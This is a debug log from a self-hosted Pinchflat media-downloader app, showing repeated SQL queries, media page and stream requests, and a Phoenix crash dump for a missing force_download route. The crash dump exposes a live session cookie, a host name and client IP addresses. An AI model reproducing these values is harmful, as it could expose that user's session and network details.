s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.927 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=25.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.928 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=25.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 06:46:02.929 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.1ms idle=25.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 06:46:02.929 [debug] QUERY OK source="settings" db=0.3ms idle=24.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.930 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.932 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.936 [debug] QUERY OK source="sources" db=0.5ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.938 [debug] QUERY OK source="media_items" db=0.8ms idle=8.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 06:46:02.940 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=8.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:46:02.942 [debug] QUERY OK source="sources" db=0.7ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.943 [debug] QUERY OK source="media_items" db=0.2ms idle=10.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 06:46:02.944 [debug] QUERY OK source="media_items" db=0.9ms idle=7.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:46:02.947 [debug] QUERY OK source="sources" db=0.4ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.949 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=7.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 06:46:02.951 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=7.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:46:02.956 [info] Sent 200 in 31ms 06:46:03.146 [info] GET /sources/31/media/141080 06:46:03.146 [info] GET /sources/31/media/141080/force_download 06:46:03.146 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:46:03.146 [info] GET /media/c28effa9-0901-4250-ae98-36df40680dbc/stream 06:46:03.147 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "c28effa9-0901-4250-ae98-36df40680dbc", "v" => "1780357325"} Pipelines: [:maybe_basic_auth] 06:46:03.147 [info] GET /sources/31/media/141080/edit 06:46:03.147 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 06:46:03.149 [debug] QUERY OK source="media_items" db=1.7ms idle=203.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 06:46:03.150 [debug] QUERY OK source="settings" db=2.6ms queue=0.2ms idle=204.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.151 [debug] QUERY OK source="media_items" db=3.0ms queue=0.1ms idle=200.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["c28effa9-0901-4250-ae98-36df40680dbc"] 06:46:03.151 [debug] Invalid range request for media item: c28effa9-0901-4250-ae98-36df40680dbc - serving full file 06:46:03.151 [info] Sent 200 in 5ms 06:46:03.152 [debug] QUERY OK source="settings" db=2.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.153 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:03.153 [debug] QUERY OK source="tasks" db=3.3ms idle=198.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 06:46:03.154 [debug] QUERY OK source="media_items" db=5.1ms queue=0.1ms idle=199.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 06:46:03.155 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.156 [debug] QUERY OK source="sources" db=5.8ms queue=0.1ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:03.157 [debug] QUERY OK source="settings" db=1.0ms queue=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.157 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=3.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 06:46:03.159 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.160 [debug] QUERY OK source="settings" db=1.5ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.160 [debug] QUERY OK source="settings" db=0.4ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.162 [debug] QUERY OK source="settings" db=0.4ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.154 [error] #PID<0.140580.0> running PinchflatWeb.Endpoint (connection #PID<0.140533.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141080/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141080/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33026}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140580.0>, params: %{}, path_info: ["sources", "31", "media", "141080", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/31/media/141080/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa8pcW2H7OhIAAACvm"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33026}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141080/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33026}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicatio (truncated) 06:46:03.164 [info] Sent 200 in 16ms 06:46:03.165 [debug] QUERY OK source="media_profiles" db=1.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:03.172 [info] Sent 200 in 26ms 06:46:03.408 [info] GET /sources/31/media/141299/edit 06:46:03.408 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 06:46:03.408 [info] GET /media/4adf5ac9-b70c-4182-9100-86b50d6f5878/stream 06:46:03.408 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "4adf5ac9-b70c-4182-9100-86b50d6f5878", "v" => "1780443860"} Pipelines: [:maybe_basic_auth] 06:46:03.409 [info] GET /sources/31/media/141299/force_download 06:46:03.409 [info] GET /sources/31/media/141299 06:46:03.410 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:46:03.411 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=247.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.412 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=248.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["4adf5ac9-b70c-4182-9100-86b50d6f5878"] 06:46:03.412 [debug] QUERY OK source="media_items" db=3.0ms queue=0.2ms idle=248.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", 